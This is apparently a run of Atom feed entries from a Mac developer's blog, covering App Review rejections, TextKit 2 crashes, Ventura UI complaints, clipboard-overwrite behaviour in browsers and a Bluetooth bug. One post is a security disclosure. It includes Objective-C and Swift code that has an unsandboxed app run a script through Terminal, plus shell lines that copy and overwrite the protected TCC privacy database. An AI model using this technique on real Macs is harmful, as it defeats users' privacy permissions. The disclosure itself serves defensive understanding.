This is far from the first time I've seen the "Works as currently designed" response for Apple. For example, recently there was iOS 16 text view breakage — which they ultimately fixed, after I blogged about it! Also recently were Apple re-enables Bluetooth on every OS update on purpose and macOS Monterey unannounced security misfeature, which unfortunately they haven't fixed. I can understand why the last two are "by design", despite vehemently disagreeing with the user-hostile design. However, I can't understand how web extension storage callbacks occurring in the opposite order is supposed to be "by design". That's just nutty.

Apple's Feedback Assistant, formerly known as Radar, has been called a "black hole". Its reputation is well deserved. Apple engineers constantly, aggressively solicit bug reports from external developers, but then those same Apple engineers often turn around and treat our bug reports with contempt. In this case, they didn't even deign to offer an explanation.

So why do we keep filing bug reports? I don't know. Perhaps for the same reason that Charlie Brown keeps trying to kick the football. Forever hopeful, forever hopeless.

]]>
Check your App IDs for unused capabilities https://lapcatsoftware.com/articles/AppID.html 2022-09-28T18:55:00Z 2022-09-28T18:55:00Z My most recent Mac App Store submission of StopTheMadness was rejected by Apple App Review for the reason "Your app contains the Game Center entitlement, but it does not link against the GameKit framework." This was puzzling, because my app does not contain the Game Center entitlement!

% codesign --display --entitlements - ~/Library/Developer/Xcode/Archives/2022-09-26/AppStore\ 9-26-22,\ 8.44\ PM.xcarchive/Products/Applications/StopTheMadness.app
[Dict]
	[Key] com.apple.security.app-sandbox
	[Value]
		[Bool] true
	[Key] com.apple.security.application-groups
	[Value]
		[Array]
			[String] 8LT69JF8NZ.com.underpassapp.StopTheMadness
	[Key] com.apple.security.files.user-selected.read-write
	[Value]
		[Bool] true

Despite the mystery, App Review allowed me to get the submission approved without changing anything: "The issues we've identified below are eligible to be resolved on your next update. If this submission includes bug fixes and you'd like to have it approved at this time, reply to this message and let us know. You do not need to resubmit your app for us to proceed." (I'll discuss this a bit more at the end of the blog post.)

It turns out that the entitlements of StopTheMadness downloaded from the Mac App Store are different from the entitlements of the build that I submitted to App Review.

% codesign --display --entitlements - /Applications/StopTheMadness.app
[Dict]
	[Key] com.apple.application-identifier
	[Value]
		[String] 8LT69JF8NZ.com.underpassapp.StopTheMadness
	[Key] com.apple.developer.game-center
	[Value]
		[Bool] true
	[Key] com.apple.developer.team-identifier
	[Value]
		[String] 8LT69JF8NZ
	[Key] com.apple.security.app-sandbox
	[Value]
		[Bool] true
	[Key] com.apple.security.application-groups
	[Value]
		[Array]
			[String] 8LT69JF8NZ.com.underpassapp.StopTheMadness
	[Key] com.apple.security.files.user-selected.read-write
	[Value]
		[Bool] true

The Game Center entitlement is there! But why?

If you login to your Apple Developer account on the web, the Certificates, Identifiers & Profiles section has a list of your App IDs. I discovered that the Game Center capability was enabled for the StopTheMadness App ID, even though I never specifically enabled it.

Edit your App ID Configuration

When I submitted the app to App Review, Apple silently added the game center entitlement to my app, even though the app didn't have the entitlement when I submitted it. And then App Review rejected me for it!

Why now, when I hadn't changed anything relevant? I don't know. My theory, based on vague memory, is that the Game Center capability was previously mandatory — like the In-App Purchase capability still is today, as you can see in the screenshot — but then Apple made the Game Center capability optional (without telling developers, of course) and then started flagging apps for having it. Because Apple loves to find new ways to torture App Store developers, it seems.

While I was looking through my App IDs, I also found that the iOS version of StopTheMadness had the Push Notifications capability enabled. The app doesn't use push notifications. So I've disabled that one too, in case App Review is looking for more rejection reasons.

I recommend that App Store developers go through your App IDs and disable any unused capabilities, otherwise you may be receiving unexpected rejections of your submissions.

My question for Apple: why not scan every app in the App Store, find all the apps where the entitlements don't match the framework linkage — the same check performed during review — and email the developers to warn them, instead of waiting for a new submission that the developer is hoping to get approved ASAP? An ounce of prevention is worth a pound of cure. It seems though that Apple would rather pound us into submission.

Addendum
Two years ago, Apple claimed that they wouldn't hold up bug fixes for unrelated issues:

for apps that are already on the App Store, bug fixes will no longer be delayed over guideline violations except for those related to legal issues. Developers will instead be able to address the issue in their next submission.

This claim appears to be partly true and partly false. It's true that when App Review identified an issue with my submission, I was given an opportunity to address the issue in my next submission, without having to fix it immediately. However, it's false that my bug fixes were not delayed. I received the rejection email from App Review at midnight my time, after I had already gone to bed. I saw the email in the morning and replied to App Review, but then it took four more hours for my submission to go back into review. So there was a delay in approval of more than ten hours.

Fortunately my bug fixes in this case were not urgent, but what if they were? The whole point of this new policy by Apple is supposedly to avoid holding up urgent bug fixes, but that's precisely what Apple is still doing! Why couldn't App Review approve the submission and also give the developer a warning that they must fix the issue in the next submission, instead of rejecting the submission and waiting for a reply from the developer?

Four months ago, after I wrote a blog post about an App Store submission issue, I received an unsolicited email from Apple's senior director of App Review, who said "We’ve found that most developers prefer to fix the issues we find and resubmit". This is a strange response, because why did Apple even change its policy if there was to be mostly no change from before, when rejections required immediate fixes? It's also unclear what "most" means: is it closer to 99% or closer to 51%? In any case, this is cold comfort to the developers who need to release a bug fix ASAP. You have to wonder how Apple determined that developers "prefer" this, because developers have never been given the option of approval with no delay, as I suggested above. Once the submission process has already been interrupted, and the rejection has already occurred, then developers may prefer to quickly fix the issue; however, they might prefer that the submission process is never interrupted in the first place. How does Apple know? They certainly never polled me for my opinion about it.

Consider this blog post a "No" vote on the proposition of interrupting the submission process to ask developers whether they want their submission approved. After all, we wouldn't be submitting an app for approval now if we didn't want it approved now.

]]>
Every unsandboxed app has Full Disk Access if Terminal does https://lapcatsoftware.com/articles/FullDiskAccess.html 2022-09-22T15:40:00Z 2022-09-22T15:40:00Z When System Integrity Protection (SIP) is enabled, as it is by default, macOS restricts apps from accessing certain files and folders such as ~/Desktop, ~/Documents, and ~/Downloads. If I run a simple ls command in Terminal,

% ls ~/Downloads

I get a Windows Vista style permission dialog.

Terminal app would like to access files in your Downloads folder.

And if I click "Don't Allow", then Terminal is not allowed to list the contents of the Downloads folder.

ls: /Users/jeff/Downloads: Operation not permitted

If I open the Privacy tab of the Security & Privacy pane of System Preferences (let's not talk about Ventura System Settings) and select Files and Folders in the list, I can see which apps have special access.

There are other restricted files and folders on macOS that have no specific user-configurable access permissions.

% ls ~/Library/Application\ Support/com.apple.TCC 
ls: /Users/jeff/Library/Application Support/com.apple.TCC: Operation not permitted

Access to this folder is simply denied without asking permission. TCC stands for Transparency, Consent, and Control, the name of the macOS system that determines which apps have access to restricted files and folders. The TCC user database is stored inside the ~/Library/Application Support/com.apple.TCC folder, so obviously this folder needs to be restricted too, otherwise unauthorized apps could edit the database and give themselves special permissions.

You can still grant an app access to all restricted files and folders, even the ones without specific user permissions, by enabling Full Disk Access for the app. The user interface for this is also in the Privacy tab of System Preferences.

Privacy preferences list

Many expert Mac users grant Full Disk Access to Terminal app, because the permissions dialogs quickly become very annoying when you try to do things in Terminal, as we've already seen above. When Terminal has Full Disk Access, it can read or write any restricted files, including the TCC database itself.

% sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db .dump

What you may not realize is that if you grant Full Disk Access to Terminal, you thereby provide Full Disk Access to every unsandboxed app on your Mac too! And how can this be? The reason is that unsandboxed apps can open executable shell scripts in Terminal, and those scripts will execute with the permissions not of the opening app but rather with the permissions of Terminal, i.e. Full Disk Access.

Here's some Objective-C source code to open the script evil.sh in Terminal app.

[[NSWorkspace sharedWorkspace]
  openURLs:@[[[NSBundle mainBundle]
    URLForResource:@"Evil" withExtension:@"sh"]]
  withApplicationAtURL:[[NSWorkspace sharedWorkspace]
    URLForApplicationWithBundleIdentifier:@"com.apple.Terminal"]
  configuration:[NSWorkspaceOpenConfiguration configuration]
  completionHandler:nil];

And the Swift translation.

NSWorkspace.shared.
  open([Bundle.main.
    url(forResource:"Evil", withExtension:"sh")!],
  withApplicationAt:NSWorkspace.shared.
    urlForApplication(withBundleIdentifier: "com.apple.Terminal")!,
  configuration:NSWorkspace.OpenConfiguration.init(),
  completionHandler:nil)

That's it, game over! Terminal will now follow any of the evil instructions of Evil.sh with Full Disk Access. (In this case Evil.sh is bundled with Evil.app for convenience, but that's not a requirement.)

What can an evil app do with this power? How about copy an unreadable file to a readable location.

#!/bin/sh
cp "/Users/jeff/Library/Application Support/com.apple.TCC/TCC.db" /tmp/TCC.db

How about overwrite an unwritable file.

#!/bin/sh
mv "/tmp/Evil.db" "/Users/jeff/Library/Application Support/com.apple.TCC/TCC.db"

The possibilities are endless. Anything Terminal can do, an evil app can do, because an evil app and indeed any unsandboxed app has full control over Terminal.

If you think the solution to this problem is simply to withhold Full Disk Access from Terminal: it's not that simple! Every unsandboxed app effectively has all of the permissions of Terminal, whatever those permissions happen to be. If you grant Terminal access to the Downloads folder, then every unsandboxed app has access to the Downloads folder. Likewise for Desktop, Documents, Calendars, Contacts, anything in the Privacy preferences. As long as an app can open an executable shell script in Terminal, the app can do whatever Terminal can do. Full Disk Access is the pinnacle of file and folder access, but there are many levels of special access below the pinnacle. If you grant Terminal any permissions at all, those permissions will naturally trickle down to other apps.

I keep mentioning unsandboxed apps because the technique described in this blog post doesn't work for sandboxed apps. When a sandboxed app attempts to open an executable shell script in Terminal, an error occurs. (Technically, the error is kLSAppDoesNotClaimTypeErr, which Apple's developer documentation falsely claims is "Not currently used.")

The application Terminal.app cannot open the specified document or URL.

Does this imply that you should never install apps from outside the Mac App Store, which requires sandboxing? No, I don't think so. I've been using macOS — or Mac OS X — for 20 years, before TCC was introduced, before the Mac App Store was introduced, before Gatekeeper was introduced, and it was fine. It was great. In the old days, every app had full disk access, and I wasn't particularly worried. But it's always necessary to be careful and selective about which software developers to trust, whether outside or inside the App Store. (By the way, I believe there are still some non-sandboxed apps in the Mac App Store that predated the sandbox requirement and have been allowed to continue with an exemption.)

]]>
iOS 16 text view breakage https://lapcatsoftware.com/articles/textview5.html 2022-09-13T21:55:00Z 2022-09-13T22:20:00Z In the past, I've written about my adventures with UITextView. At present, I'm writing about a new problem I have with UITextView in iOS 16: it crashes while editing, which is one of the worst problems possible! Ironically, the crash is caused by a workaround for another, less serious problem: NSLayoutManager defaultAttachmentScaling doesn't exist on iOS (only on macOS). In order to scale down images proportionally to fit in the text container width, I had to write an NSTextAttachment subclass.

@interface JJTextAttachment : NSTextAttachment
@end
@implementation JJTextAttachment
-(CGRect) attachmentBoundsForTextContainer:(NSTextContainer *)container proposedLineFragment:(CGRect)fragment glyphPosition:(CGPoint)position characterIndex:(NSUInteger)characterIndex
{
	CGRect attachmentBounds = [super attachmentBoundsForTextContainer:container proposedLineFragment:fragment glyphPosition:position characterIndex:characterIndex];
	CGFloat attachmentWidth = CGRectGetWidth( attachmentBounds );
	CGFloat fragmentWidth = CGRectGetWidth( fragment );
	CGFloat padding = [container lineFragmentPadding];
	fragmentWidth -= padding + padding;
	if ( fragmentWidth > 0.0 && attachmentWidth > fragmentWidth )
	{
		attachmentBounds.size.height *= fragmentWidth / attachmentWidth;
		attachmentBounds.size.width = fragmentWidth;
		
	}
	return attachmentBounds;
}
@end

My workaround worked great for five years… until this year, when it came to a crashing halt. You can download a sample Xcode project that works fine on iOS 15 but crashes on iOS 16. The crash is in the method NSTextContentStorage locationFromLocation:withOffset: and the reason is "received invalid location (null)". So I filed a bug (FB11067936) about the crash with Apple's Feedback Assistant on August 4, and I received a response from Apple engineering a few days later.

Thanks for your feedback. This looks like an issue that you need to resolve.

New in iOS 16, the default text engine for UITextView is TextKit 2.

This code is using a TextKit 1 API for implementing the custom text attachment (attachmentBoundsForTextContainer:proposedLineFragment:glyphPosition:characterIndex:), which is not compatible with TextKit 2.

There are a couple different options here.

To restore the previous behavior and avoid the crash, you can explicitly set the UITextView to use TextKit 1 and continue to use the TextKit 1 API. There are multiple ways to do this, based on the app submitted with this report, the easiest way would be to set the Interface Builder “Text Layout” option to “TextKit 1” (instead of “Default”).

Another option is to migrate to the view-based text attachments with the TextKit 2 engine.

For more information on TextKit 1/TextKit 2 compatibility and view-based text attachments, please refer to the WWDC22 video “What’s new in TextKit and text views” and the accompanying sample code, which can be found here: https://developer.apple.com/videos/play/wwdc2022/10090/

This response from Apple was informative, yet dissatisfying. Apple put the burden on me to fix a crash that they caused, through no fault of my own. Under normal circumstances I would just grumble and fix it, but my circumstances here aren't normal. The crash is occurring in an app that I discontinued and removed from the App Store last year.

Why do I care about the crash if the app is discontinued? I care about the customers who previously purchased the app and may still be using it. In fact, I'm still using the app myself! I decided to remove it from sale in the App Store because the sales were low, the support burden was more than the sales were worth, I had no plans to ever update the app, and Apple broke an important feature of the Mac version. Despite my personal fondness for the app, I didn't feel good about selling it anymore (or making it free, which is the worst of all worlds).

In order to fix the crash, I would have to update the source code, deal with any other breakage caused by the new iOS SDK, test the app on various iOS versions and devices, then publish it again on the App Store so that previous customers can install the update with a fix for the crash. (And I'd have to figure out a way to avoid new purchases.) I really don't want to go through all of that crap.

TextKit 2 is Apple's new text layout engine that they introduced in iOS 15 and macOS 12. In iOS 16 and macOS 13, Apple automatically opted in UITextView to TextKit 2, for both Apple's apps and third-party apps. The developer must explicitly opt out of TextKit 2 to use the old TextKit 1 behavior. Apple also decided not to fix the TextKit 2 crash that I reported. I'm not sure what I'm going to do about the crash, but Apple apparently doesn't care about binary compatibility on iOS, and Apple's actions and decisions put third-party developers in a difficult situation, which makes me angry.

Don't make me angry. You wouldn't like me when I'm angry.

Addendum
A reader of this blog post mentioned something that I forgot to mention: Apple's typical way of preserving binary compatibility is to opt in an app to new features only if it's compiled with the new SDK. This would have solved my problem, because my discontinued app is of course not compiled with the iOS 16 SDK.

]]>
How to restore the Preferences menu item to macOS Ventura https://lapcatsoftware.com/articles/Preferences.html 2022-09-05T17:00:00Z 2022-09-05T17:00:00Z On the macOS 13 Ventura beta, the venerable "Preferences…" menu item has been replaced by the iOS-like "Settings…" menu item in Apple's built-in apps. The menu item also gets automatically replaced in third-party apps if they're compiled with the macOS 13 SDK in the Xcode 14 beta. Fortunately, I've discovered a way to undo this change and stop the creeping iOSification of the Mac. In Terminal, just enter the following command:

defaults write -g NSMenuShouldUpdateSettingsTitle -bool NO

The -g argument is short for -globalDomain or NSGlobalDomain, which means that it applies to every app. You'll need to quit and relaunch for this to take effect in running apps. If you ever want to undo the change and restore the system default:

defaults delete -g NSMenuShouldUpdateSettingsTitle

For developers using the macOS 13 SDK, you can fix your app using the following code:

-(void)applicationWillFinishLaunching: (NSNotification*)notification
{
    [[NSUserDefaults standardUserDefaults] registerDefaults:
        @{ @"NSMenuShouldUpdateSettingsTitle": @NO } ];
}

You need to do this in applicationWillFinishLaunching: because applicationDidFinishLaunching: is too late. For the functionally illiterate, i.e., developers who can't read or write Objective-C, here's the Swift code:

func applicationWillFinishLaunching(_ notification:Notification)
{
    UserDefaults.standard.register( defaults:
        [ "NSMenuShouldUpdateSettingsTitle": false ] )
}

And there you have it, macOS once again respects your Preferences. You're welcome!

]]>
Web pages can overwrite your system clipboard without your knowledge https://lapcatsoftware.com/articles/clipboard.html 2022-08-28T22:40:00Z 2022-08-28T22:48:00Z This blog post isn't just about Google Chrome, it's also about Safari and Firefox. Chrome is currently the worst offender, because the user gesture requirement for writing to the clipboard was accidentally broken in version 104. A public demonstration of the brokenness has been posted on Web Platform News. If you simply visit the demonstration page in Google Chrome or a Chromium browser, then your system clipboard will be overwritten with the text below. (It's all plain text in your clipboard, but I've added a hyperlink for your convenience.)

Hello, this message is in your clipboard because you visited the website Web Platform News in a browser that allows websites to write to the clipboard without the user’s permission. Sorry for the inconvenience. For more information about this issue, see https://github.com/w3c/clipboard-apis/issues/182.

This brokenness seems likely to be fixed soon, since the Chrome developers have already recognized the urgency of the problem. Nonetheless, the Chrome bug has brought to the public's attention the fact that web pages in all web browsers can overwrite your system clipboard with a user gesture. The crucial question is, which user gestures?

If the user gestures were limited to the keyboard shortcut for copy (⌘C on the Mac) or selecting the "Copy" command in a menu (main or contextual), that might be fine. But the gestures are not strictly limited in this way. In my testing, the following DOM events give a web page permission to use the clipboard API to overwrite your system clipboard:

  • click
  • copy
  • cut
  • focusout
  • keydown
  • keyup
  • mousedown
  • mouseup
  • pointerdown (desktop only)
  • pointerup (desktop only)
  • selectstart

Therefore, a gesture as innocent as clicking on a link or pressing the arrow key to scroll down the page gives the web site permission to overwrite your system clipboard! This is allowed in every web browser, including Safari (desktop and mobile) and Firefox.

There are two ways for a web page to write to the system clipboard: the old, deprecated document.execCommand API and the newer navigator.clipboard.writeText API. (Only the newer API was broken in Chrome version 104.) The newer API is significantly easier for web pages to use, because the old document.execCommand("copy") requires window.getSelection() to have a range of text on the page selected first, which may require adding an HTML element to the DOM. Whereas navigator.clipboard.writeText can write any arbitrary text to the system clipboard with no preparation required.

I've created a demonstration of how this works. Select either "document.execCommand" or "navigator.clipboard.writeText" below, and then continue to navigate this web page in various ways, such as clicking in the page or pressing keys. Afterward, do a paste somewhere, and you can see that this page has silently overwritten your system clipboard with a list of the navigation events that you've triggered, such as "click".

The potential for maliciousness should be obvious. While you're navigating a web page, the page can without your knowledge erase the current contents of your system clipboard, which may have been valuable to you, and replace them with anything the page wants, which could be dangerous to you the next time you paste. Why did web browser vendors ever allow this?

Your next question is likely to be, can web pages read your system clipboard too with an arbitrary user gesture? Thankfully, in my testing the answer appears to be no. There is an API to read the clipboard, but it requires a specific browser permission:

The "clipboard-read" permission of the Permissions API must be granted before you can read data from the clipboard.

Your final question may be, does my web browser extension StopTheMadness stop these clipboard API that allow overwriting your system clipboard? The answer is complicated. Roughly: sometimes. StopTheMadness does protect user gestures in certain situations, such as clicking a link. And it also stops web pages from overriding the "Copy" command to replace your selected text with different text. On the other hand, StopTheMadness does not currently stop web pages from overwriting your system clipboard in all circumstances, for all user gestures. I do believe it's possible for me to add this feature, though, and I've even done some initial testing of an implementation that seems to work. However, I'm worried about how much it would break on the web. There are many popular web pages that use the clipboard API. For example, "Copy link to Tweet" on Twitter calls document.execCommand("copy") to put the tweet URL (and some annoying tags at the end) on the clipboard. The good news is that within a few days I'm releasing a StopTheMadness update that will automatically remove the garbage tags at the end of tweet URLs when you use "Copy link to Tweet". As for blocking the clipboard API entirely, I could do it, but whether I do it depends on how much customer demand there is for this feature. Let me know!

Regardless of whether I add protections to my browser extension, everyone should be asking the browser vendors what they're going to do about the problem. Or at least get them to admit that it is a problem! The fundamental flaw is their design is equating user gestures with user consent. These aren't the same, they can't be the same, if users don't know what they're consenting to, if users don't even know that they are consenting to something via commonplace web page navigation.

]]>
Safari updates reset your Experimental Features preferences https://lapcatsoftware.com/articles/experimental.html 2022-08-24T15:15:00Z 2022-08-24T15:15:00Z A couple of months ago I blogged about how you can stop Safari from switching your Twitter timeline by selecting "Disable Removal of Non-Cookie Data After 7 Days of No User Interaction (ITP)" in the "Experimental Features" submenu of Safari's "Develop" menu. If you don't select this experimental feature, then Safari's "Intelligent" Tracking Prevention will automatically, silently remove some crucial Twitter user data if you don't visit twitter.com for a week. I've now discovered, however, that my workaround is only temporary. It turns out that Safari automatically resets your Experimental Features preferences after a software update. I've confirmed this on two different Macs by looking at defaults read com.apple.Safari before and after first launch of the Safari 15.6.1 update. I've also seen the Experimental Features preferences get reset on iOS. I suspect that the Experimental Features preferences get reset on every Safari update now, because I found a reference to this behavior mentioned by an Apple engineer for a previous Safari update.

Honestly, I'm at the point where I'm going to disable Intelligent Tracking Protection entirely ("Prevent cross-site tracking" in Safari's non-experimental Preferences). It's crap like this that makes people switch from Safari to another browser. Things are broken in Safari that work fine in other browsers. It makes me sad, because my browser extension StopTheMadness works best in Safari. I don't want people to switch away. I criticize Safari's shortcomings because I want Safari to be better. I need Safari to be better.

Screenshot

]]>
Extensions API broken in Mac Safari https://lapcatsoftware.com/articles/ExtensionsMacSafari.html 2022-08-23T13:00:00Z 2022-08-23T13:00:00Z I'm frustrated because an important feature of the cross-platform WebExtensions API for web browser extensions has been broken in Mac Safari — and only in Mac Safari — for two years. It works everywhere else: Firefox, Google Chrome, other Chromium-based web browsers, and even in Mobile Safari! The feature I'm talking about is run_at document_start. If the value "run_at": "document_start" is specified for a content script in an extension's manifest file, then web pages will run the extension's content script during their "loading" state, as opposed to during their "interactive" or "complete" state. (See the Document.readyState API for more details.) This is crucial because with document_start, scripts are injected "before any other DOM is constructed or any other script is run." In order to achieve their functionality, some web browser extensions need to run their scripts before the web page gets a chance to run its scripts, otherwise it's too late.

One extension that needs document_start is my own StopTheScript, which allows site-specific blocking of both inline and external JavaScript in Safari. There's a working version of StopTheScript for Mobile Safari in the iOS App Store, but the document_start bug prevents StopTheScript from working properly in Mac Safari, and thus I can't release a Mac version. I've been sitting on the Mac version for two years just waiting for a bug fix in Mac Safari. I actually blogged about the bug two years ago, a year before Apple enabled Safari web extensions on iOS. I've personally discussed this bug with an Apple Safari engineer, and I've also filed a bug report (FB10033445) with Apple's Feedback Assistant. At this point I'm feeling despair that Apple might never fix it. The bug still exists in the current versions of Safari (15.6.1) and Safari Technology Preview (16.0).

You can download a sample Xcode project that demonstrates the bug. The project contains both Mac and iOS app targets. The web extension is located inside the folder "Shared (Extension)/Resources/" and is shared between the two apps. You can test the same extension in Firefox by opening the page about:debugging#/runtime/this-firefox and using the "Load Temporary Add-on" button. In Google Chrome, you can open the Extensions window, enable "Developer mode", and use the "Load unpacked" button.

Here are the steps to reproduce the bug in Mac Safari:

  1. Build and run the RunAtTest2 app.
  2. If you haven't already, open Safari Preferences to the Advanced pane, and enable "Show Develop menu in menu bar".
  3. Open the "Develop" menu, enable "Allow Unsigned Extensions" at the bottom, and enter your keychain password when prompted. (Otherwise Apple only allows Apple-signed extensions to run in Safari.)
  4. Open Safari Preferences to the Extensions pane, and enable the RunatAtTest2 extension.
  5. Select RunatAtTest2 in the extensions list, and enable "Always Allow on Every Website".
  6. Load any web page, such as apple.com.

The extension adds a red box in the upper left corner of each web page that displays the readyState of the page, as well as the number of child elements, if any, of the HTML <head> and <body> elements. When document_start works correctly, you should just see "loading" in the box, with no child elements. When it's buggy, you may see "interactive" or "complete", along with a number of children.

Appendix: Preload Top Hit

In Mobile Safari on iOS there's a related bug (FB9157626) that can cause run_at document_start to fail if Preload Top Hit is enabled in Safari Settings. Unfortunately, Preload Top Hit is enabled by default. Fortunately, you can easily disable Preload Top Hit, and the StopTheScript install instructions recommend disabling it.

Besides causing extension problems, Preload Top Hit is also privacy nightmare, as I've blogged about before, so everyone ought to disable it anyway.

]]>
iOS dictation is dickish https://lapcatsoftware.com/articles/dictation.html 2022-08-22T16:30:00Z 2022-08-22T16:30:00Z I constantly accidentally hit the dictation button when editing URLs in the Safari address bar on my iPhone 7 (soon to be replaced, as iOS 16 drops iPhone 7 support), so I was looking for a way to remove the dictation button. For reasons that will become apparent later, the following screenshots are not from my iPhone 7 but rather from the iOS simulator in the Xcode developer tools.

Mobile Safari address bar with dictation button Enable Dictation?

Ah yes, the beloved "Not Now" option. How about… not ever?

I looked in Settings > General > Keyboards, but dictation was already disabled there.

Settings, General, Keyboards, Enable Dictation

Nonetheless, someone showed me a screen recording of the dictation button disappearing after disabling dictation. This got me to thinking: the screen recording was missing an essential step, i.e., enabling dictation. For the sake of science, I decided to try toggling dictation on and off, despite the unpleasant disclaimer that "Dictation sends information like your voice input, contacts, and location to Apple when necessary for processing your requests."

Enable Dictation Turn Off Dictation

In retrospect, I feel the initial warning may have been misleading, because it implied that information wouldn't be sent to Apple unless you made a dictation request, which I wouldn't, but then when you turn off dictation it implies that information was already sent and needs to be removed: "The information Dictation uses to respond to your requests will be removed from Apple servers. If you want to use Dictation later, it will take some time to resend this information."

I'm not sure whether or not information is sent to Apple immediately. It's not entirely clear, and neither is the longwinded "About Dictation & Privacy" statement, unfortunately. It doesn't help that Siri and Dictation are commingled in the document. (By the way, why are the contrasting options "Enable" and "Turn Off" rather than "Enable" and "Disable" or "Turn On" and "Turn Off"?) Anyway, toggling dictation on and off did in fact remove the dictation button from Safari.

Mobile Safari address bar without dictation button

You can see this behavior both on your devices and in the Xcode iOS simulator. I mention the simulator so that you can simulate the situation where dictation had never been enabled, if you did already enable it at some point on your devices.

I consider it dickish behavior by Apple that they force you to enable dictation first in order to remove the unwanted dictation button, especially since enabling dictation seems like it might send your private information — such as contacts and location! — to Apple. So much for "Privacy is a fundamental human right."

Fortunately, a kind person gave me a tip on how to disable dictation without first enabling it: use Screen Time! Enabling Content & Privacy Restrictions in Screen Time and disabling Siri & Dictation will also make the dictation button disappear from the Safari address bar.

Screen Time, Content & Privacy Restrictions Screen Time, Allowed Apps

Of course, then you won't be able to use Siri at all, if you care about that. I've never personally used Siri even once, not even as a joke.

]]>
Why macOS Ventura Share menu is bad https://lapcatsoftware.com/articles/VenturaShare.html 2022-08-09T15:40:00Z 2022-08-09T15:40:00Z The new macOS Ventura System Settings app has been widely criticized. I've personally written two articles criticizing it. The new macOS Ventura Share menu, on the other hand, hasn't yet received much discussion or criticism. This is due partly to System Settings taking a lot of the rhetorical focus — it's so blatantly bad! — and partly to the Share menu's relative obscurity in the system. I feel that the time is overdue for us to look critically at the Ventura Share menu, because some of the design changes to the Share menu are as misguided and bad as those to System Settings.

Here's the Share menu on macOS Monterey in Safari when I open the contextual menu on the Support link at the top of the Apple front page. (You can see "Sup" at the upper left corner of the contextual menu, where I command-clicked.)

Monterey Safari contextual menu

And here's the same thing on macOS Ventura.

Ventura Safari contextual menu

Technically, it's not even a menu anymore on Ventura, it's a menu item! And if I click the menu item, I get this… abomination.

Ventura contextual Share menu

Soooooo many things wrong here.

  1. It takes one click to get the Share menu on Monterey, two on Ventura.
  2. The contextual menu and its Share menu item disappear when I open the Share menu.
  3. Nonetheless, the Share menu is anchored at the now empty space previously occupied by the Share menu item.
  4. The Share menu refers to the Support link on the web page, which is nowhere near where the Share menu is visually anchored.

In short, the new user interface is totally insane.

Let's also look at the Share menu in the Safari toolbar. First, on Monterey.

Monterey Safari Share menu

I can navigate this menu using the down and up arrow keys.

Monterey Safari Share menu item selected

And here's the same menu on Ventura. It's not bad looking, but I can no longer navigate the menu at all with the keyboard!

Ventura Safari Share menu

If I want to navigate the menu with the keyboard, I need to enable full keyboard navigation in the Keyboard pane of System Settings. This setting is disabled by default.

System Settings Keyboard pane

And then I can navigate the menu… but not with the arrow keys! I need to use the tab key to go down the menu, shift-tab to go up the menu. Correspondingly, the menu items no longer get selected, as on Monterey and earlier, but instead have a focus ring.

Monterey Safari Share menu menu item selected

This goes against 20 years of precedent in macOS and Mac OS X. Forget your muscle memory, because Apple has just erased it. And for what reason? As far as I can tell, the new user interface is worse than the old one in every way.

]]>
Twitter crypto spam bots copy real tweets to appear real https://lapcatsoftware.com/articles/bots.html 2022-08-07T17:50:00Z 2022-08-07T17:50:00Z As a Safari extension developer, I have a Safari extension saved search on Twitter. Over the past couple of months, this saved search has shown the exact same tweet many times, with the exact same typo, from a different Twitter account each time. (I used a more specific search below in order to highlight this tweet.)

Where did this tweet come from? The original tweet was over a year ago, but it didn't start getting copied until a couple of months ago.

The original tweet, actually a quote tweet, was written by a real person with a relatively popular Twitter account.

Now look at one of the accounts that copied the tweet.

Joined Twitter only 3 months ago, hmm. What else has that account been tweeting?

Aha, crypto spam! This account is trying to spread crypto tweets by replying to them and mentioning other Twitter accounts, thereby triggering notifications.

This pattern continues. Here's another example of a copied tweet.

A Twitter search reveals that this tweet has also been posted many times.

Again, the original tweet was written by a real person with a popular Twitter account.

So what's happening here? To be clear, the two original tweet authors above are blameless and not responsible for the crypto bot scam. The bots are simply copying and posting tweets from real popular Twitter accounts in order to appear real themselves. In other words, the bots are trying to avoid Twitter's bot detection algorithms. The theory is that if a bot acts like a real person by posting tweets like a real person, then it's less likely to be flagged as a bot. And in practice this theory appears to be valid!

]]>
Apple re-enables Bluetooth on every OS update on purpose https://lapcatsoftware.com/articles/bluetooth.html 2022-07-20T22:35:00Z 2022-07-20T22:35:00Z On April 22, I filed a bug (FB9992639) with Apple's Feedback Assistant titled "Bluetooth re-enabled after every iOS and macOS update". I believe this issue started with iOS 14 and macOS 11, but in any case it definitely happens now with every iOS 15 and macOS 12 update, including today's iOS 15.6 and macOS 12.5 updates, on every device I own. (I think Apple stopped re-enabling Bluetooth for Big Sur security updates after Monterey was released.) I finally decided to file a bug with Apple after I upgraded from my old MacBook Pro running Big Sur to a new MacBook Pro running Monterey, because I was filing several Monterey bugs at the same time. Here are the steps to reproduce from my bug report:

  1. Disable Bluetooth in iOS Settings or macOS System Preferences.
  2. Install an iOS or a macOS update.
  3. Check iOS Settings or macOS System Preferences.

Expected results: Bluetooth is still disabled.

Actual results: Bluetooth is enabled.

Note: There are two ways to disable bluetooth on iOS, one temporary and one permanent. The temporary way is with the Bluetooth button in Control Center, which disables Bluetooth until you restart your device or 5am in the morning, whichever comes first. In contrast, my bug report is about the "permanent" way, which involves switching off Bluetooth in the Settings app on iOS or System Preferences on macOS (now System Settings, sigh).

Today I got a response from Apple to my bug report:

Thank you for filing this feedback report. We reviewed your report and determined the behavior you experienced is currently functioning as intended.

You can close this feedback by clicking on the "Close Feedback" link. Thank you.

Needless to say… wow. And to be clear, the above quote was the entirety of Apple's response to my bug report. No explanation of why, just functioning as intended.

This is so incredibly user hostile. If you're wondering what's wrong with re-enabling Bluetooth — aside from the obvious: blatantly disregarding the user's preference — you can Google a list of security vulnerabilities in Apple's Bluetooth stack. I personally don't use Bluetooth for anything and don't ever want it enabled on my devices.

]]>
NSURL is relatively bad https://lapcatsoftware.com/articles/NSURL2.html 2022-07-19T16:55:00Z 2022-07-19T16:55:00Z I've written about NSURL once before. I did not have good things to say. I do not have good things to say this time either.

Here's the documentation for the resourceSpecifier property of NSURL:

This property contains the resource specifier. Any percent-encoded characters are not unescaped. For example, in the URL http://www.example.com/index.html?key1=value1#jumplink, the resource specifier is //www.example.com/index.html?key1=value1#jumplink (everything after the colon).

Important
If the receiver does not specify a net location portion of the URL, as returned by the toll-free bridged CFURL function CFURLCopyNetLocation, then this method returns only the path of the receiver. For example, in the URL file:///file.txt, the resource specifier is /file.txt.

This is reiterated to an extent in the NSURL.h header file:

/* Any URL is composed of these two basic pieces.  
